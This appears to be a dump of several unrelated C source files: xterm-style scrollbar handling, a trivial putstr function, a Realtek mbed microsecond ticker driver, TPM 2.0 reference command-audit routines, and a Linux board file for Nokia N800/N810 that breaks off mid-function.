ignore since pixmap */ nargs--; /* don't set border pixel */ } XtSetValues (scrollWidget, args, nargs); } ScrollBarDrawThumb(scrollWidget) register Widget scrollWidget; { register TScreen *screen = &term->screen; register int thumbTop, thumbHeight, totalHeight; thumbTop = screen->topline + screen->savedlines; thumbHeight = screen->max_row + 1; totalHeight = thumbHeight + screen->savedlines; XawScrollbarSetThumb(scrollWidget, ((float)thumbTop) / totalHeight, ((float)thumbHeight) / totalHeight); } ResizeScrollBar(scrollWidget, x, y, height) register Widget scrollWidget; int x, y; unsigned height; { XtConfigureWidget(scrollWidget, x, y, scrollWidget->core.width, height, scrollWidget->core.border_width); if (term->misc.sb_right) XtMoveWidget(scrollWidget, x,y); ScrollBarDrawThumb(scrollWidget); } WindowScroll(screen, top) register TScreen *screen; int top; { register int i, lines; register int scrolltop, scrollheight, refreshtop; register int x = 0; if (top < -screen->savedlines) top = -screen->savedlines; else if (top > 0) top = 0; if((i = screen->topline - top) == 0) { ScrollBarDrawThumb(screen->scrollWidget); return; } if(screen->cursor_state) HideCursor(); lines = i > 0 ? i : -i; if(lines > screen->max_row + 1) lines = screen->max_row + 1; scrollheight = screen->max_row - lines + 1; if(i > 0) refreshtop = scrolltop = 0; else { scrolltop = lines; refreshtop = scrollheight; } x = (term->misc.sb_right? screen->border : screen->scrollbar+screen->border); scrolling_copy_area(screen, scrolltop, scrollheight, -i); screen->topline = top; ScrollSelection(screen, i); XClearArea( screen->display, TextWindow(screen), (int) x, (int) refreshtop * FontHeight(screen) + screen->border, (unsigned) Width(screen), (unsigned) lines * FontHeight(screen), FALSE); ScrnRefresh(screen, refreshtop, 0, lines, screen->max_col + 1, False); ScrollBarDrawThumb(screen->scrollWidget); } ScrollBarOn (xw, init, doalloc) XgtermWidget xw; int init, doalloc; { register TScreen *screen = &xw->screen; register int border = 2 * screen->border; register int i; if(screen->scrollbar) return; if (init) { /* then create it only */ if (screen->scrollWidget) return; /* make it a dummy size and resize later */ if ((screen->scrollWidget = CreateScrollBar (xw, -1, - 1, 5)) == NULL) { Bell(); return; } return; } if (!screen->scrollWidget) { Bell (); Bell (); return; } if (doalloc && screen->allbuf) { if((screen->allbuf = (ScrnBuf) realloc((char *) screen->buf, (unsigned) 4*(screen->max_row + 2 + screen->savelines) * sizeof(char *))) == NULL) Error (ERROR_SBRALLOC); screen->buf = &screen->allbuf[4 * screen->savelines]; memmove( (char *)screen->buf, (char *)screen->allbuf, 4 * (screen->max_row + 2) * sizeof (char *)); for(i = 4 * screen->savelines - 1 ; i >= 0 ; i--) if((screen->allbuf[i] = (Char *)calloc((unsigned) screen->max_col+1, sizeof(char))) == NULL) Error (ERROR_SBRALLOC2); } if (term->misc.sb_right) { ResizeScrollBar (screen->scrollWidget, screen->fullVwin.fullwidth - screen->scrollWidget->core.width - screen->scrollWidget->core.border_width, 0, Height (screen) + border -1); } else { ResizeScrollBar (screen->scrollWidget, -1, -1, Height (screen) + border); } RealizeScrollBar (screen->scrollWidget, screen); screen->scrollbar = screen->scrollWidget->core.width + screen->scrollWidget->core.border_width; ScrollBarDrawThumb(screen->scrollWidget); DoResizeScreen (xw); XtMapWidget(screen->scrollWidget); update_scrollbar (); if (screen->buf) { XClearWindow (screen->display, XtWindow (term)); Redraw (); } } ScrollBarOff(screen) register TScreen *screen; { if(!screen->scrollbar) return; XtUnmapWidget(screen->scrollWidget); screen->scrollbar = 0; DoResizeScreen (term); update_scrollbar (); if (screen->buf) { XClearWindow (screen->display, XtWindow (term)); Redraw (); } } /*ARGSUSED*/ static void ScrollTextTo(scrollbarWidget, client_data, call_data) Widget scrollbarWidget; XtPointer client_data; XtPointer call_data; { float *topPercent = (float *) call_data; register TScreen *screen = &term->screen; int thumbTop; /* relative to first saved line */ int newTopLine; /* screen->savedlines : Number of offscreen text lines, screen->maxrow + 1 : Number of onscreen text lines, screen->topline : -Number of lines above the last screen->max_row+1 lines */ thumbTop = *topPercent * (screen->savedlines + screen->max_row+1); newTopLine = thumbTop - screen->savedlines; WindowScroll(screen, newTopLine); } /*ARGSUSED*/ static void ScrollTextUpDownBy(scrollbarWidget, client_data, call_data) Widget scrollbarWidget; XtPointer client_data; XtPointer call_data; { int pixels = (int) call_data; register TScreen *screen = &term->screen; register int rowOnScreen, newTopLine; rowOnScreen = pixels / FontHeight(screen); if (rowOnScreen == 0) { if (pixels < 0) rowOnScreen = -1; else if (pixels > 0) rowOnScreen = 1; } newTopLine = screen->topline + rowOnScreen; WindowScroll(screen, newTopLine); } /* * assume that b is lower case and allow plural */ static int specialcmplowerwiths (a, b) char *a, *b; { register char ca, cb; if (!a || !b) return 0; while (1) { ca = *a; cb = *b; if (isascii(ca) && isupper(ca)) { /* lowercasify */ #ifdef _tolower ca = _tolower (ca); #else ca = tolower (ca); #endif } if (ca != cb || ca == '\0') break; /* if not eq else both nul */ a++, b++; } if (cb == '\0' && (ca == '\0' || (ca == 's' && a[1] == '\0'))) return 1; return 0; } static int params_to_pixels (screen, params, n) TScreen *screen; String *params; int n; { register mult = 1; register char *s; switch (n > 2 ? 2 : n) { case 2: s = params[1]; if (specialcmplowerwiths (s, "page")) { mult = (screen->max_row + 1) * FontHeight(screen); } else if (specialcmplowerwiths (s, "halfpage")) { mult = ((screen->max_row + 1) * FontHeight(screen)) >> 1; } else if (specialcmplowerwiths (s, "pixel")) { mult = 1; } /* else assume that it is Line */ mult *= atoi (params[0]); break; case 1: mult = atoi (params[0]) * FontHeight(screen); /* lines */ break; default: mult = screen->scrolllines * FontHeight(screen); break; } return mult; } /*ARGSUSED*/ void HandleScrollForward (gw, event, params, nparams) Widget gw; XEvent *event; String *params; Cardinal *nparams; { XgtermWidget w = (XgtermWidget) gw; register TScreen *screen = &w->screen; ScrollTextUpDownBy (gw, (XtPointer) NULL, (XtPointer)params_to_pixels (screen, params, (int) *nparams)); return; } /*ARGSUSED*/ void HandleScrollBack (gw, event, params, nparams) Widget gw; XEvent *event; String *params; Cardinal *nparams; { XgtermWidget w = (XgtermWidget) gw; register TScreen *screen = &w->screen; ScrollTextUpDownBy (gw, (XtPointer) NULL, (XtPointer)-params_to_pixels (screen, params, (int) *nparams)); return; }
99945.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* fr_putstr.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: mghazari <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2016/09/02 02:08:11 by mghazari #+# #+# */ /* Updated: 2016/09/02 16:39:09 by mghazari ### ########.fr */ /* */ /* ************************************************************************** */ int ft_putchar(char c); void ft_putstr(char *str) { int i; i = 0; while (str[i] != '\0') { ft_putchar(str[i]); i++; } }
701325.c
/* mbed Microcontroller Library * Copyright (c) 2013-2016 Realtek Semiconductor Corp. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "objects.h" #include <stddef.h> #include "us_ticker_api.h" #include "PeripheralNames.h" #define TICK_READ_FROM_CPU 0 // 1: read tick from CPU, 0: read tick from G-Timer #define SYS_TIM_ID 1 // the G-Timer ID for System #define APP_TIM_ID 6 // the G-Timer ID for Application /* * For RTL8195AM, clock source is 32k * * us per tick: 30.5 * tick per ms: 32.7 * tick per us: 0.032 * tick per sec: 32768 * * Define the following macros to convert between TICK and US. */ #define MS_TO_TICK(x) (uint64_t)(((x)*327) / 10) #define US_TO_TICK(x) (uint64_t)(((x)*32) / 1000) #define TICK_TO_US(x) (uint64_t)(((x)/2) * 61 + ((x)%2) * TIMER_TICK_US) static int us_ticker_inited = 0; static TIMER_ADAPTER TimerAdapter; extern HAL_TIMER_OP HalTimerOp; extern HAL_TIMER_OP_EXT HalTimerOpExt; VOID _us_ticker_irq_handler(void *Data) { us_ticker_irq_handler(); } void us_ticker_init(void) { if (us_ticker_inited) { return; } us_ticker_inited = 1; // Reload and restart sys-timer HalTimerOp.HalTimerDis(SYS_TIM_ID); HalTimerOpExt.HalTimerReLoad(SYS_TIM_ID, 0xFFFFFFFFUL); HalTimerOp.HalTimerEn(SYS_TIM_ID); // Initial a app-timer TimerAdapter.IrqDis = 0; // Enable Irq @ initial TimerAdapter.IrqHandle.IrqFun = (IRQ_FUN) _us_ticker_irq_handler; TimerAdapter.IrqHandle.IrqNum = TIMER2_7_IRQ; TimerAdapter.IrqHandle.Priority = 10; TimerAdapter.IrqHandle.Data = (u32)NULL; TimerAdapter.TimerId = APP_TIM_ID; TimerAdapter.TimerIrqPriority = 0; TimerAdapter.TimerLoadValueUs = 0xFFFFFFFF; TimerAdapter.TimerMode = USER_DEFINED; HalTimerOp.HalTimerInit((void *) &TimerAdapter); DBG_TIMER_INFO("%s: Timer_Id=%d\n", __FUNCTION__, APP_TIM_ID); } uint32_t us_ticker_read(void) { uint32_t tick_cnt; uint64_t tick_us; if (!us_ticker_inited) { us_ticker_init(); } tick_cnt = HalTimerOp.HalTimerReadCount(SYS_TIM_ID); tick_us = TICK_TO_US(0xFFFFFFFFUL - tick_cnt); return ((uint32_t)tick_us); //return ticker value in micro-seconds (us) } void us_ticker_set_interrupt(timestamp_t timestamp) { uint32_t time_cur; uint32_t time_cnt; HalTimerOp.HalTimerDis((u32)TimerAdapter.TimerId); time_cur = us_ticker_read(); if (timestamp > time_cur + TIMER_TICK_US) { time_cnt = timestamp - time_cur; } else { HalTimerOpExt.HalTimerReLoad((u32)TimerAdapter.TimerId, 0xffffffff); HalTimerOp.HalTimerEn((u32)TimerAdapter.TimerId); us_ticker_fire_interrupt(); return; } TimerAdapter.TimerLoadValueUs = MAX(MS_TO_TICK(time_cnt/1000) + US_TO_TICK(time_cnt%1000), 1); HalTimerOpExt.HalTimerReLoad((u32)TimerAdapter.TimerId, TimerAdapter.TimerLoadValueUs); HalTimerOp.HalTimerEn((u32)TimerAdapter.TimerId); } void us_ticker_fire_interrupt(void) { NVIC_SetPendingIRQ(TIMER2_7_IRQ); } void us_ticker_disable_interrupt(void) { HalTimerOp.HalTimerDis((u32)TimerAdapter.TimerId); } void us_ticker_clear_interrupt(void) { HalTimerOp.HalTimerIrqClear((u32)TimerAdapter.TimerId); }
812487.c
/* Microsoft Reference Implementation for TPM 2.0 * * The copyright in this software is being made available under the BSD License, * included below. This software may be subject to other third party and * contributor rights, including patent rights, and no such rights are granted * under this license. * * Copyright (c) Microsoft Corporation * * All rights reserved. * * BSD License * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list * of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this * list of conditions and the following disclaimer in the documentation and/or * other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ //** Introduction // This file contains the functions that support command audit. //** Includes #include "Tpm.h" //** Functions //*** CommandAuditPreInstall_Init() // This function initializes the command audit list. This function is simulates // the behavior of manufacturing. A function is used instead of a structure // definition because this is easier than figuring out the initialization value // for a bit array. // // This function would not be implemented outside of a manufacturing or // simulation environment. void CommandAuditPreInstall_Init( void ) { // Clear all the audit commands MemorySet(gp.auditCommands, 0x00, sizeof(gp.auditCommands)); // TPM_CC_SetCommandCodeAuditStatus always being audited CommandAuditSet(TPM_CC_SetCommandCodeAuditStatus); // Set initial command audit hash algorithm to be context integrity hash // algorithm gp.auditHashAlg = CONTEXT_INTEGRITY_HASH_ALG; // Set up audit counter to be 0 gp.auditCounter = 0; // Write command audit persistent data to NV NV_SYNC_PERSISTENT(auditCommands); NV_SYNC_PERSISTENT(auditHashAlg); NV_SYNC_PERSISTENT(auditCounter); return; } //*** CommandAuditStartup() // This function clears the command audit digest on a TPM Reset. BOOL CommandAuditStartup( STARTUP_TYPE type // IN: start up type ) { if((type != SU_RESTART) && (type != SU_RESUME)) { // Reset the digest size to initialize the digest gr.commandAuditDigest.t.size = 0; } return TRUE; } //*** CommandAuditSet() // This function will SET the audit flag for a command. This function // will not SET the audit flag for a command that is not implemented. This // ensures that the audit status is not SET when TPM2_GetCapability() is // used to read the list of audited commands. // // This function is only used by TPM2_SetCommandCodeAuditStatus(). // // The actions in TPM2_SetCommandCodeAuditStatus() are expected to cause the // changes to be saved to NV after it is setting and clearing bits. // Return Type: BOOL // TRUE(1) command code audit status was changed // FALSE(0) command code audit status was not changed BOOL CommandAuditSet( TPM_CC commandCode // IN: command code ) { COMMAND_INDEX commandIndex = CommandCodeToCommandIndex(commandCode); // Only SET a bit if the corresponding command is implemented if(commandIndex != UNIMPLEMENTED_COMMAND_INDEX) { // Can't audit shutdown if(commandCode != TPM_CC_Shutdown) { if(!TEST_BIT(commandIndex, gp.auditCommands)) { // Set bit SET_BIT(commandIndex, gp.auditCommands); return TRUE; } } } // No change return FALSE; } //*** CommandAuditClear() // This function will CLEAR the audit flag for a command. It will not CLEAR the // audit flag for TPM_CC_SetCommandCodeAuditStatus(). // // This function is only used by TPM2_SetCommandCodeAuditStatus(). // // The actions in TPM2_SetCommandCodeAuditStatus() are expected to cause the // changes to be saved to NV after it is setting and clearing bits. // Return Type: BOOL // TRUE(1) command code audit status was changed // FALSE(0) command code audit status was not changed BOOL CommandAuditClear( TPM_CC commandCode // IN: command code ) { COMMAND_INDEX commandIndex = CommandCodeToCommandIndex(commandCode); // Do nothing if the command is not implemented if(commandIndex != UNIMPLEMENTED_COMMAND_INDEX) { // The bit associated with TPM_CC_SetCommandCodeAuditStatus() cannot be // cleared if(commandCode != TPM_CC_SetCommandCodeAuditStatus) { if(TEST_BIT(commandIndex, gp.auditCommands)) { // Clear bit CLEAR_BIT(commandIndex, gp.auditCommands); return TRUE; } } } // No change return FALSE; } //*** CommandAuditIsRequired() // This function indicates if the audit flag is SET for a command. // Return Type: BOOL // TRUE(1) command is audited // FALSE(0) command is not audited BOOL CommandAuditIsRequired( COMMAND_INDEX commandIndex // IN: command index ) { // Check the bit map. If the bit is SET, command audit is required return(TEST_BIT(commandIndex, gp.auditCommands)); } //*** CommandAuditCapGetCCList() // This function returns a list of commands that have their audit bit SET. // // The list starts at the input commandCode. // Return Type: TPMI_YES_NO // YES if there are more command code available // NO all the available command code has been returned TPMI_YES_NO CommandAuditCapGetCCList( TPM_CC commandCode, // IN: start command code UINT32 count, // IN: count of returned TPM_CC TPML_CC *commandList // OUT: list of TPM_CC ) { TPMI_YES_NO more = NO; COMMAND_INDEX commandIndex; // Initialize output handle list commandList->count = 0; // The maximum count of command we may return is MAX_CAP_CC if(count > MAX_CAP_CC) count = MAX_CAP_CC; // Find the implemented command that has a command code that is the same or // higher than the input // Collect audit commands for(commandIndex = GetClosestCommandIndex(commandCode); commandIndex != UNIMPLEMENTED_COMMAND_INDEX; commandIndex = GetNextCommandIndex(commandIndex)) { if(CommandAuditIsRequired(commandIndex)) { if(commandList->count < count) { // If we have not filled up the return list, add this command // code to its TPM_CC cc = GET_ATTRIBUTE(s_ccAttr[commandIndex], TPMA_CC, commandIndex); if(IS_ATTRIBUTE(s_ccAttr[commandIndex], TPMA_CC, V)) cc += (1 << 29); commandList->commandCodes[commandList->count] = cc; commandList->count++; } else { // If the return list is full but we still have command // available, report this and stop iterating more = YES; break; } } } return more; } //*** CommandAuditGetDigest // This command is used to create a digest of the commands being audited. The // commands are processed in ascending numeric order with a list of TPM_CC being // added to a hash. This operates as if all the audited command codes were // concatenated and then hashed. void CommandAuditGetDigest( TPM2B_DIGEST *digest // OUT: command digest ) { TPM_CC commandCode; COMMAND_INDEX commandIndex; HASH_STATE hashState; // Start hash digest->t.size = CryptHashStart(&hashState, gp.auditHashAlg); // Add command code for(commandIndex = 0; commandIndex < COMMAND_COUNT; commandIndex++) { if(CommandAuditIsRequired(commandIndex)) { commandCode = GetCommandCode(commandIndex); CryptDigestUpdateInt(&hashState, sizeof(commandCode), commandCode); } } // Complete hash CryptHashEnd2B(&hashState, &digest->b); return; }
726463.c
/* * linux/arch/arm/mach-omap2/board-n8x0.c * * Copyright (C) 2005-2009 Nokia Corporation * Author: Juha Yrjola <[email protected]> * * Modified from mach-omap2/board-generic.c * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/clk.h> #include <linux/delay.h> #include <linux/gpio.h> #include <linux/init.h> #include <linux/io.h> #include <linux/irq.h> #include <linux/stddef.h> #include <linux/i2c.h> #include <linux/spi/spi.h> #include <linux/usb/musb.h> #include <linux/platform_data/spi-omap2-mcspi.h> #include <linux/platform_data/mtd-onenand-omap2.h> #include <linux/mfd/menelaus.h> #include <sound/tlv320aic3x.h> #include <asm/mach/arch.h> #include <asm/mach-types.h> #include "common.h" #include "mmc.h" #include "soc.h" #include "gpmc-onenand.h" #include "common-board-devices.h" #define TUSB6010_ASYNC_CS 1 #define TUSB6010_SYNC_CS 4 #define TUSB6010_GPIO_INT 58 #define TUSB6010_GPIO_ENABLE 0 #define TUSB6010_DMACHAN 0x3f #define NOKIA_N810_WIMAX (1 << 2) #define NOKIA_N810 (1 << 1) #define NOKIA_N800 (1 << 0) static u32 board_caps; #define board_is_n800() (board_caps & NOKIA_N800) #define board_is_n810() (board_caps & NOKIA_N810) #define board_is_n810_wimax() (board_caps & NOKIA_N810_WIMAX) static void board_check_revision(void) { if (of_have_populated_dt()) { if (of_machine_is_compatible("nokia,n800")) board_caps = NOKIA_N800; else if (of_machine_is_compatible("nokia,n810")) board_caps = NOKIA_N810; else if (of_machine_is_compatible("nokia,n810-wimax")) board_caps = NOKIA_N810_WIMAX; } if (!board_caps) pr_err("Unknown board\n"); } #if defined(CONFIG_USB_MUSB_TUSB6010) || defined(CONFIG_USB_MUSB_TUSB6010_MODULE) /* * Enable or disable power to TUSB6010. When enabling, turn on 3.3 V and * 1.5 V voltage regulators of PM companion chip. Companion chip will then * provide then PGOOD signal to TUSB6010 which will release it from reset. */ static int tusb_set_power(int state) { int i, retval = 0; if (state) { gpio_set_value(TUSB6010_GPIO_ENABLE, 1); msleep(1); /* Wait until TUSB6010 pulls INT pin down */ i = 100; while (i && gpio_get_value(TUSB6010_GPIO_INT)) { msleep(1); i--; } if (!i) { printk(KERN_ERR "tusb: powerup failed\n"); retval = -ENODEV; } } else { gpio_set_value(TUSB6010_GPIO_ENABLE, 0); msleep(10); } return retval; } static struct musb_hdrc_config musb_config = { .multipoint = 1, .dyn_fifo = 1, .num_eps = 16, .ram_bits = 12, }; static struct musb_hdrc_platform_data tusb_data = { .mode = MUSB_OTG, .set_power = tusb_set_power, .min_power = 25, /* x2 = 50 mA drawn from VBUS as peripheral */ .power = 100, /* Max 100 mA VBUS for host mode */ .config = &musb_config, }; static void __init n8x0_usb_init(void) { int ret = 0; static char announce[] __initdata = KERN_INFO "TUSB 6010\n"; /* PM companion chip power control pin */ ret = gpio_request_one(TUSB6010_GPIO_ENABLE, GPIOF_OUT_INIT_LOW, "TUSB6010 enable"); if (ret != 0) { printk(KERN_ERR "Could not get TUSB power GPIO%i\n", TUSB6010_GPIO_ENABLE); return; } tusb_set_power(0); ret = tusb6010_setup_interface(&tusb_data, TUSB6010_REFCLK_19, 2, TUSB6010_ASYNC_CS, TUSB6010_SYNC_CS, TUSB6010_GPIO_INT, TUSB6010_DMACHAN); if (ret != 0) goto err; printk(announce); return; err: gpio_free(TUSB6010_GPIO_ENABLE); } #else static void __init n8x0_usb_init(void) {} #endif /*CONFIG_USB_MUSB_TUSB6010 */ static struct omap2_mcspi_device_config p54spi_mcspi_config = { .turbo_mode = 0, }; static struct spi_board_info n800_spi_board_info[] __initdata = { { .modalias = "p54spi", .bus_num = 2, .chip_select = 0, .max_speed_hz = 48000000, .controller_data = &p54spi_mcspi_config, }, }; #if defined(CONFIG_MENELAUS) && \ (defined(CONFIG_MMC_OMAP) || defined(CONFIG_MMC_OMAP_MODULE)) /* * On both N800 and N810, only the first of the two MMC controllers is in use. * The two MMC slots are multiplexed via Menelaus companion chip over I2C. * On N800, both slots are powered via Menelaus. On N810, only one of the * slots is powered via Menelaus. The N810 EMMC is powered via GPIO. * * VMMC slot 1 on both N800 and N810 * VDCDC3_APE and VMCS2_APE slot 2 on N800 * GPIO23 and GPIO9 slot 2 EMMC on N810 * */ #define N8X0_SLOT_SWITCH_GPIO 96 #define N810_EMMC_VSD_GPIO 23 #define N810_EMMC_VIO_GPIO 9 static int slot1_cover_open; static int slot2_cover_open; static struct device *mmc_device; static int n8x0_mmc_switch_slot(struct device *dev, int slot) { #ifdef CONFIG_MMC_DEBUG dev_dbg(dev, "Choose slot %d\n", slot + 1); #endif gpio_set_value(N8X0_SLOT_SWITCH_GPIO, slot); return 0; } static int n8x0_mmc_set_power_menelaus(struct device *dev, int slot, int power_on, int vdd) { int mV; #ifdef CONFIG_MMC_DEBUG dev_dbg(dev, "Set slot %d power: %s (vdd %d)\n", slot + 1, power_on ? "on" : "off", vdd); #endif if (slot == 0) { if (!power_on) return menelaus_set_vmmc(0); switch (1 << vdd) { case MMC_VDD_33_34: case MMC_VDD_32_33: case MMC_VDD_31_32: mV = 3100; break; case MMC_VDD_30_31: mV = 3000; break; case MMC_VDD_28_29: mV = 2800; break; case MMC_VDD_165_195: mV = 1850; break; default: BUG(); } return menelaus_set_vmmc(mV); } else { if (!power_on) return menelaus_set_vdcdc(3, 0); switch (1 << vdd) { case MMC_VDD_33_34: case MMC_VDD_32_33: mV = 3300; break; case MMC_VDD_30_31: case MMC_VDD_29_30: mV = 3000; break; case MMC_VDD_28_29: case MMC_VDD_27_28: mV = 2800; break; case MMC_VDD_24_25: case MMC_VDD_23_24: mV = 2400; break; case MMC_VDD_22_23: case MMC_VDD_21_22: mV = 2200; break; case MMC_VDD_20_21: mV = 2000; break; case MMC_VDD_165_195: mV = 1800; break; default: BUG(); } return menelaus_set_vdcdc(3, mV); } return 0; } static void n810_set_power_emmc(struct device *dev, int power_on) { dev_dbg(dev, "Set EMMC power %s\n", power_on ? "on" : "off"); if (power_on) { gpio_set_value(N810_EMMC_VSD_GPIO, 1); msleep(1); gpio_set_value(N810_EMMC_VIO_GPIO, 1); msleep(1); } else { gpio_set_value(N810_EMMC_VIO_GPIO, 0); msleep(50); gpio_set_value(N810_EMMC_VSD_GPIO, 0); msleep(50); } } static int n8x0_mmc_set_power(struct device *dev, int slot, int power_on, int vdd) { if (board_is_n800() || slot == 0) return n8x0_mmc_set_power_menelaus(dev, slot, power_on, vdd); n810_set_power_emmc(dev, power_on); return 0; } static int n8x0_mmc_set_bus_mode(struct device *dev, int slot, int bus_mode) { int r; dev_dbg(dev, "Set slot %d bus mode %s\n", slot + 1, bus_mode == MMC_BUSMODE_OPENDRAIN ? "open-drain" : "push-pull"); BUG_ON(slot != 0 && slot != 1); slot++; switch (bus_mode) { case MMC_BUSMODE_OPENDRAIN: r = menelaus_set_mmc_opendrain(slot, 1); break; case MMC_BUSMODE_PUSHPULL: r = menelaus_set_mmc_opendrain(slot, 0); break; default: BUG(); } if (r != 0 && printk_ratelimit()) dev_err(dev, "MMC: unable to set bus mode for slot %d\n", slot); return r; } static int n8x0_mmc_get_cover_state(struct device *dev, int slot) { slot++; BUG_ON(slot != 1 && slot != 2); if (slot == 1) return slot1_cover_open; else return slot2_cover_open; } static void n8x0_mmc_callback(void *data, u8 card_mask) { int bit, *openp, index; if (board_is_n800()) { bit = 1 << 1; openp = &slot2_cover_open; index = 1; } else { bit = 1; openp = &slot1_cover_open; index = 0; } if (card_mask & bit) *openp = 1; else *openp = 0; #ifdef CONFIG_MMC_OMAP omap_mmc_notify_cover_event(mmc_device, index, *openp); #else pr_warn("MMC: notify cover event not available\n"); #endif } static int n8x0_mmc_late_init(struct device *dev) { int r, bit, *openp; int vs2sel; mmc_device = dev; r = menelaus_set_slot_sel(1); if (r < 0) return r; if (board_is_n800()) vs2sel = 0; else vs2sel = 2; r = menelaus_set_mmc_slot(2, 0, vs2sel, 1); if (r < 0) return r; n8x0_mmc_set_power(dev, 0, MMC_POWER_ON, 16); /* MMC_VDD_28_29 */ n8x0_mmc_set_power(dev, 1, MMC_POWER_ON, 16); r = menelaus_set_mmc_slot(1, 1, 0, 1); if (r < 0) return r; r = menelaus_set_mmc_slot(2, 1, vs2sel, 1); if (r < 0) return r; r = menelaus_get_slot_pin_states(); if (r < 0) return r; if (board_is_n800()) { bit = 1 << 1; openp = &slot2_cover_open; } else { bit = 1; openp = &slot1_cover_open; slot2_cover_open = 0; } /* All slot pin bits seem to be inversed until first switch change */ if (r == 0xf || r == (0xf & ~bit)) r = ~r; if (r & bit) *openp = 1; else *openp = 0; r = menelaus_register_mmc_callback(n8x0_mmc_callback, NULL); return r; } static void n8x0_mmc_shutdown(struct device *dev) { int vs2sel; if (board_is_n800()) vs2sel = 0; else vs2sel = 2; menelaus_set_mmc_slot(1, 0, 0, 0); menelaus_set_mmc_slot(2, 0, vs2sel, 0); } static void n8x0_mmc_cleanup(struct device *dev) { menelaus_unregister_mmc_callback(); gpio_free(N8X0_SLOT_SWITCH_GPIO); if (board_is_n810()) { gpio_free(N810_EMMC_VSD_GPIO); gpio_free(N810_EMMC_VIO_GPIO); } } /* * MMC controller1 has two slots that are multiplexed via I2C. * MMC controller2 is not in use. */ static struct omap_mmc_platform_data mmc1_data = { .nr_slots = 0, .switch_slot = n8x0_mmc_switch_slot, .init = n8x0_mmc_late_init, .cleanup = n8x0_mmc_cleanup, .shutdown = n8x0_mmc_shutdown, .max_freq = 24000000, .slots[0] = { .wires = 4, .set_power = n8x0_mmc_set_power, .set_bus_mode = n8x0_mmc_set_bus_mode, .get_cover_state = n8x0_mmc_get_cover_state, .ocr_mask = MMC_VDD_165_195 | MMC_VDD_30_31 | MMC_VDD_32_33 | MMC_VDD_33_34, .name = "internal", }, .slots[1] = { .set_power = n8x0_mmc_set_power, .set_bus_mode = n8x0_mmc_set_bus_mode, .get_cover_state = n8x0_mmc_get_cover_state, .ocr_mask = MMC_VDD_165_195 | MMC_VDD_20_21 | MMC_VDD_21_22 | MMC_VDD_22_23 | MMC_VDD_23_24 | MMC_VDD_24_25 | MMC_VDD_27_28 | MMC_VDD_28_29 | MMC_VDD_29_30 | MMC_VDD_30_31 | MMC_VDD_32_33 | MMC_VDD_33_34, .name = "external", }, }; static struct omap_mmc_platform_data *mmc_data[OMAP24XX_NR_MMC]; static struct gpio n810_emmc_gpios[] __initdata = { { N810_EMMC_VSD_GPIO, GPIOF_OUT_INIT_LOW, "MMC slot 2 Vddf" }, { N810_EMMC_VIO_GPIO, GPIOF_OUT_INIT_LOW, "MMC slot 2 Vdd" }, }; static void __init n8x0_mmc_init(void) { int err; if (board_is_n810()) { mmc1_data.slots[0].name = "external"; /* * Some Samsung Movinand chips do not like open-ended * multi-block reads and fall to braind-dead state * while doing so. Reducing the number of blocks in * the transfer or delays in clock disable do not help */ mmc1_data.slots[1].name = "internal"; mmc1_data.slots[1].ban_openended = 1; } err = gpio_request_one(N8X0_SLOT_SWITCH_GPIO, GPIOF_OUT_INIT_LOW, "MMC slot switch"); if (err) return; if (board_is_n810()) { err = gpio_request_array(n810_emmc_gpios, ARRAY_SIZE(n810_emmc_gpios)); if (err) { gpio_free(N8X0_SLOT_SWITCH_GPIO); return; } } mmc1_data.nr_slots = 2; mmc_data[0] = &mmc1_data; } #else static struct omap_mmc_platform_data mmc1_data; void __init n8x0_mmc_init(void) { } #endif /* CONFIG_MMC_OMAP */ #ifdef CONFIG_MENELAUS static int n8x0_auto_sleep_regulators(void) { u32 val; int ret; val = EN_VPLL_SLEEP | EN_VMMC_SLEEP \ | EN_VAUX_SLEEP | EN_VIO_SLEEP \ | EN_VMEM_SLEEP | EN_DC3_SLEEP \ | EN_VC_SLEEP | EN_DC2_SLEEP; ret = menelaus_set_regulator_sleep(1, val); if (ret < 0) { pr_err("Could not set regulators to sleep on menelaus: %u\n", ret); return ret; } return 0; } static int n8x0_auto_voltage_scale(void) { int ret; ret = menelaus_set_vcore_hw(1400, 1050); if (ret < 0) { pr_err("Could not set VCORE voltage on menelaus: %u\n", ret); return ret; } return 0; } static int n8x0_menelaus_late_init(struct device *dev) { int ret; ret = n8x0_auto_voltage_scale(); if (ret < 0) return ret; ret = n8x0_auto_sleep_regulators(); if (ret < 0) return ret; return 0; } #else static int n8x0_menelaus_late_init(struct device *dev) { return 0; } #endif struct menelaus_platform_data n8x0_menelaus_platform_data __initdata = { .late_init = n8x0_menelaus_late_init, }; struct aic3x_pdata n810_aic33_data __initdata = { .gpio_reset = 118, }; static int __init n8x0_late_initcall(void) { if (!board_caps) return -ENODEV; n8x0_mmc_init(); 